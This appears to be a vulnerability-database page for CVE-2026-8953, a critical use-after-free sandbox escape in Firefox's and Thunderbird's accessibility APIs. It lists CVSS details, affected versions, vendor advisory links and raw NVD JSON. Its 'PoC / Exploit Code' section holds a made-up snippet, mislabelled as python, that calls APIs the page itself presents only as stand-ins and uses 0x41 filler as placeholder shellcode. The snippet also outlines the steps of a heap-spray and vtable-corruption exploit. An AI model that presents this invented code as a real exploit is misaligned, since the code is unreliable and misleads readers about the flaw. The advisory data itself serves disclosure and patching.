Security Vulnerability Report
中文
CVE-2026-8953 CVSS 9.6 CRITICAL

CVE-2026-8953

Published: 2026-05-19 14:16:52
Last Modified: 2026-05-19 18:45:32

Description

Sandbox escape due to use-after-free in the Disability Access APIs component. This vulnerability was fixed in Firefox 151, Firefox ESR 115.36, Firefox ESR 140.11, Thunderbird 151, and Thunderbird 140.11.

CVSS Details

CVSS Score
9.6
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:* - VULNERABLE
cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:* - VULNERABLE
cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:* - VULNERABLE
cpe:2.3:a:mozilla:thunderbird:*:*:*:*:*:*:*:* - VULNERABLE
Firefox < 151
Firefox ESR < 115.36
Firefox ESR < 140.11
Thunderbird < 151
Thunderbird < 140.11

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// Conceptual PoC for CVE-2026-8953 Use-After-Free // Exploiting Disability Access APIs function triggerVulnerability() { // 1. Create vulnerable object in Accessibility API let vulnObject = new AccessibilityNode(); // 2. Setup dangling pointer by freeing the object // (Simulated internal browser behavior) vulnObject.cleanup(); // 3. Heap spray to reclaim freed memory with controlled data let buffer = new ArrayBuffer(0x1000); let view = new DataView(buffer); // Fill with ROP gadgets or shellcode placeholders for(let i=0; i<0x1000; i++) { view.setUint8(i, 0x41); } // 4. Trigger Use-After-Free to corrupt vtable // Accessing vulnObject now uses attacker-controlled memory vulnObject.triggerAccess(); } // Note: This code demonstrates the logic flow required to exploit // the UAF condition in the vulnerable component.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-8953", "sourceIdentifier": "[email protected]", "published": "2026-05-19T14:16:51.593", "lastModified": "2026-05-19T18:45:32.087", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Sandbox escape due to use-after-free in the Disability Access APIs component. This vulnerability was fixed in Firefox 151, Firefox ESR 115.36, Firefox ESR 140.11, Thunderbird 151, and Thunderbird 140.11."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 9.6, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 6.0}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:*", "versionEndExcluding": "115.36.0", "matchCriteriaId": "E536CDC4-A298-44F5-B599-64CB64AD8F01"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:*", "versionEndExcluding": "151.0.0", "matchCriteriaId": "7C197B6D-C48E-4D7E-A1C0-52E081E97DF0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:*", "versionStartIncluding": "140.0", "versionEndExcluding": "140.11.0", "matchCriteriaId": "59F64F78-F9C5-44CE-8A45-803C1A4E0688"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:thunderbird:*:*:*:*:*:*:*:*", "versionEndExcluding": "140.11", "matchCriteriaId": "B8EAADB3-40D5-4987-B57E-DF144037C031"}]}]}], "references": [{"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=2029511", "source": "[email protected]", "tags": ["Permissions Required"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-46/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-47/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-48/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-50/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-51/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}